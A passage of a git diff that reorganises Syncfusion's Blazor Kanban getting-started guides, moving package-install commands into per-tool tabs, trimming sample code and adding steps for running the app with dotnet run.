+Run the following commands to add the packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/):
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Kanban` namespaces.
-
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% endtabcontent %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Kanban
+{% endtabcontents %}
 
-{% endhighlight %}
-{% endtabs %}
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -133,6 +150,9 @@ builder.Services.AddSyncfusionBlazor();
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `App.razor` file.
+- Add the **script reference inside the `<body>` tag** of the `App.razor` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -161,40 +181,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfKanban TValue="TasksModel">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBpZMLOpgSSDQVm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban Component](./images/blazor-kanban-component.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Kanban).
-
-## Populate kanban with cards
-
-To populate the empty Kanban with cards, define the Enumerable object or remote data using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_DataSource) property. To define `DataSource`, the mandatory fields in object or remote data should be relevant to [KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_KeyField). In the following example, you can see the cards defined with default fields such as ID, Summary, and Status.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Kanban
 
 <SfKanban TValue="TasksModel" KeyField="Status" DataSource="Tasks">
     <KanbanColumns>
@@ -231,74 +218,23 @@ To populate the empty Kanban with cards, define the Enumerable object or remote
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBTtChkTKoFctAY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Cards](./images/blazor-kanban-with-cards.png)" %}
-
-## Enable swimlane functionality
-
-`Swimlane` can be enabled by mapping the fields [KanbanSwimlaneSettings.KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_SwimlaneSettings) to appropriate column name in DataSource. This enables the grouping of the cards based on the mapped column values.
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrxtSWbKaleSUCK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+### Run the application
 
-<SfKanban TValue="TasksModel" KeyField="Status" DataSource="Tasks">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-    <KanbanCardSettings HeaderField="Title" ContentField="Summary"></KanbanCardSettings>
-    <KanbanSwimlaneSettings KeyField="Assignee"></KanbanSwimlaneSettings>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-        public string Assignee { get; set; }
-    }
+**Visual Studio**:
 
-    public List<TasksModel> Tasks = new List<TasksModel>()
-    {
-        new TasksModel { Id = "Task 1", Title = "BLAZ-29001", Status = "Open", Summary = "Analyze the new requirements gathered from the customer.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 2", Title = "BLAZ-29002", Status = "InProgress", Summary = "Improve application performance", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 3", Title = "BLAZ-29003", Status = "Open", Summary = "Arrange a web meeting with the customer to get new requirements.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 4", Title = "BLAZ-29004", Status = "InProgress", Summary = "Fix the issues reported in the IE browser.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 5", Title = "BLAZ-29005", Status = "Review", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 6", Title = "BLAZ-29006", Status = "Review", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 7", Title = "BLAZ-29007", Status = "Close", Summary = "Test the application in the IE browser.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 8", Title = "BLAZ-29008", Status = "Validate", Summary = "Validate the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 9", Title = "BLAZ-29009", Status = "Open", Summary = "Show the retrieved data from the server in grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 10", Title = "BLAZ-29010", Status = "InProgress", Summary = "Fix cannot open user’s default database SQL error.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 11", Title = "BLAZ-29011", Status = "Review", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 12", Title = "BLAZ-29012", Status = "Close", Summary = "Analyze SQL server 2008 connection.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 13", Title = "BLAZ-29013", Status = "Validate", Summary = "Validate databinding issues.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 14", Title = "BLAZ-29014", Status = "Close", Summary = "Analyze grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 15", Title = "BLAZ-29015", Status = "Close", Summary = "Stored procedure for initial data binding of the grid.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 16", Title = "BLAZ-29016", Status = "Close", Summary = "Analyze stored procedures.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 17", Title = "BLAZ-29017", Status = "Validate", Summary = "Validate editing issues.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 18", Title = "BLAZ-29018", Status = "Review", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 19", Title = "BLAZ-29019", Status = "Open", Summary = "Enhance editing functionality.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 20", Title = "BLAZ-29020", Status = "InProgress", Summary = "Improve the performance of the editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 21", Title = "BLAZ-29021", Status = "Open", Summary = "Arrange web meeting with the customer to show editing demo.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 22", Title = "BLAZ-29022", Status = "Review", Summary = "Fix the editing issues reported by the customer.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 23", Title = "BLAZ-29023", Status = "Testing", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 24", Title = "BLAZ-29024", Status = "Testing", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 25", Title = "BLAZ-29025", Status = "Testing", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 26", Title = "BLAZ-29026", Status = "Testing", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 27", Title = "BLAZ-29027", Status = "Testing", Summary = "Test editing feature in the IE browser.", Assignee = "Janet Leverling" }
-    };
-}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-{% endhighlight %}
-{% endtabs %}
+**Visual Studio Code or .NET CLI**:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrfNCraJAdqIiOM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Swimlane](./images/blazor-kanban-with-swimlane.png)" %}
+1. Open a terminal in the project directory and run the following command:
+    ```
+    dotnet run
+    ```
+2. The application will start and display in your default web browser.
 
-N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the bullet chart.
+N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the Kanban Board.
 
 ## See also
 
diff --git a/blazor/kanban/getting-started-with-web-app.md b/blazor/kanban/getting-started-with-web-app.md
index 31db649ce0..6ef3fd5d51 100644
--- a/blazor/kanban/getting-started-with-web-app.md
+++ b/blazor/kanban/getting-started-with-web-app.md
@@ -25,6 +25,25 @@ This section briefly explains about how to include the [Syncfusion<sup style="fo
 
 Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Use Visual Studio's NuGet Package Manager (Tools → NuGet Package Manager → Manage NuGet Packages for Solution) to install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+
+Alternatively, run the following in the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> If the **Interactive Render Mode** is `WebAssembly` or `Auto`, install these packages in the Client project of the Blazor Web App.
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -49,6 +68,23 @@ cd BlazorWebApp.Client
 {% endhighlight %}
 {% endtabs %}
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+From the integrated terminal, add the required packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) to the project:
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> If the **Interactive Render Mode** is `WebAssembly` or `Auto`, run the above commands in the Client project folder (for example, `BlazorWebApp.Client`).
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -81,43 +117,28 @@ cd BlazorWebApp.Client
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
-
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Run the following commands to add the packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/):
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+N> If the **Interactive Render Mode** is `WebAssembly` or `Auto`, execute the commands in the Client project (for example, `BlazorWebApp.Client`).
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Kanban` namespaces.
-
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% endtabcontent %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Kanban
+{% endtabcontents %}
 
-{% endhighlight %}
-{% endtabs %}
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -141,6 +162,9 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `App.razor` file.
+- Add the **script reference inside the `<body>` tag** of the `App.razor` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -169,40 +193,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfKanban TValue="TasksModel">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBpZMLOpgSSDQVm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban Component](./images/blazor-kanban-component.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Kanban).
-
-## Populate kanban with cards
-
-To populate the empty Kanban with cards, define the Enumerable object or remote data using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_DataSource) property. To define `DataSource`, the mandatory fields in object or remote data should be relevant to [KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_KeyField). In the following example, you can see the cards defined with default fields such as ID, Summary, and Status.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Kanban
 
 <SfKanban TValue="TasksModel" KeyField="Status" DataSource="Tasks">
     <KanbanColumns>
@@ -239,77 +230,28 @@ To populate the empty Kanban with cards, define the Enumerable object or remote
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBTtChkTKoFctAY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Cards](./images/blazor-kanban-with-cards.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVxNSMlqOnAbnrd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-## Enable swimlane functionality
+### Run the application
 
-`Swimlane` can be enabled by mapping the fields [KanbanSwimlaneSettings.KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_SwimlaneSettings) to appropriate column name in DataSource. This enables the grouping of the cards based on the mapped column values.
+**Visual Studio**:
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfKanban TValue="TasksModel" KeyField="Status" DataSource="Tasks">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-    <KanbanCardSettings HeaderField="Title" ContentField="Summary"></KanbanCardSettings>
-    <KanbanSwimlaneSettings KeyField="Assignee"></KanbanSwimlaneSettings>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-        public string Assignee { get; set; }
-    }
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-    public List<TasksModel> Tasks = new List<TasksModel>()
-    {
-        new TasksModel { Id = "Task 1", Title = "BLAZ-29001", Status = "Open", Summary = "Analyze the new requirements gathered from the customer.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 2", Title = "BLAZ-29002", Status = "InProgress", Summary = "Improve application performance", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 3", Title = "BLAZ-29003", Status = "Open", Summary = "Arrange a web meeting with the customer to get new requirements.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 4", Title = "BLAZ-29004", Status = "InProgress", Summary = "Fix the issues reported in the IE browser.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 5", Title = "BLAZ-29005", Status = "Review", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 6", Title = "BLAZ-29006", Status = "Review", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 7", Title = "BLAZ-29007", Status = "Close", Summary = "Test the application in the IE browser.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 8", Title = "BLAZ-29008", Status = "Validate", Summary = "Validate the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 9", Title = "BLAZ-29009", Status = "Open", Summary = "Show the retrieved data from the server in grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 10", Title = "BLAZ-29010", Status = "InProgress", Summary = "Fix cannot open user’s default database SQL error.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 11", Title = "BLAZ-29011", Status = "Review", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 12", Title = "BLAZ-29012", Status = "Close", Summary = "Analyze SQL server 2008 connection.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 13", Title = "BLAZ-29013", Status = "Validate", Summary = "Validate databinding issues.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 14", Title = "BLAZ-29014", Status = "Close", Summary = "Analyze grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 15", Title = "BLAZ-29015", Status = "Close", Summary = "Stored procedure for initial data binding of the grid.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 16", Title = "BLAZ-29016", Status = "Close", Summary = "Analyze stored procedures.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 17", Title = "BLAZ-29017", Status = "Validate", Summary = "Validate editing issues.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 18", Title = "BLAZ-29018", Status = "Review", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 19", Title = "BLAZ-29019", Status = "Open", Summary = "Enhance editing functionality.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 20", Title = "BLAZ-29020", Status = "InProgress", Summary = "Improve the performance of the editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 21", Title = "BLAZ-29021", Status = "Open", Summary = "Arrange web meeting with the customer to show editing demo.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 22", Title = "BLAZ-29022", Status = "Review", Summary = "Fix the editing issues reported by the customer.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 23", Title = "BLAZ-29023", Status = "Testing", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 24", Title = "BLAZ-29024", Status = "Testing", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 25", Title = "BLAZ-29025", Status = "Testing", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 26", Title = "BLAZ-29026", Status = "Testing", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 27", Title = "BLAZ-29027", Status = "Testing", Summary = "Test editing feature in the IE browser.", Assignee = "Janet Leverling" }
-    };
-}
+**Visual Studio Code or .NET CLI**:
 
-{% endhighlight %}
-{% endtabs %}
+1. Open the terminal (Visual Studio Code) or command prompt (.NET CLI) and navigate to the `Client` project folder.
+2. Run the following command:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrfNCraJAdqIiOM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Swimlane](./images/blazor-kanban-with-swimlane.png)" %}
+    ```
+    dotnet run
+    ```
+3. The application will start and display in your default web browser.
 
-N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the bullet chart.
+N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the Kanban Board.
 
 ## See also
 
-1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Assembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
+1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
 
diff --git a/blazor/kanban/getting-started.md b/blazor/kanban/getting-started.md
index ab2735f768..7fe253141e 100644
--- a/blazor/kanban/getting-started.md
+++ b/blazor/kanban/getting-started.md
@@ -27,6 +27,23 @@ This guide briefly explains about how to include [Syncfusion<sup style="font-siz
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Use Visual Studio's NuGet Package Manager (Tools → NuGet Package Manager → Manage NuGet Packages for Solution) to install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+
+Alternatively, run the following in the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,6 +69,21 @@ cd BlazorApp
 
 {% endtabs %}
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+From the integrated terminal, add the required packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) to the project:
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
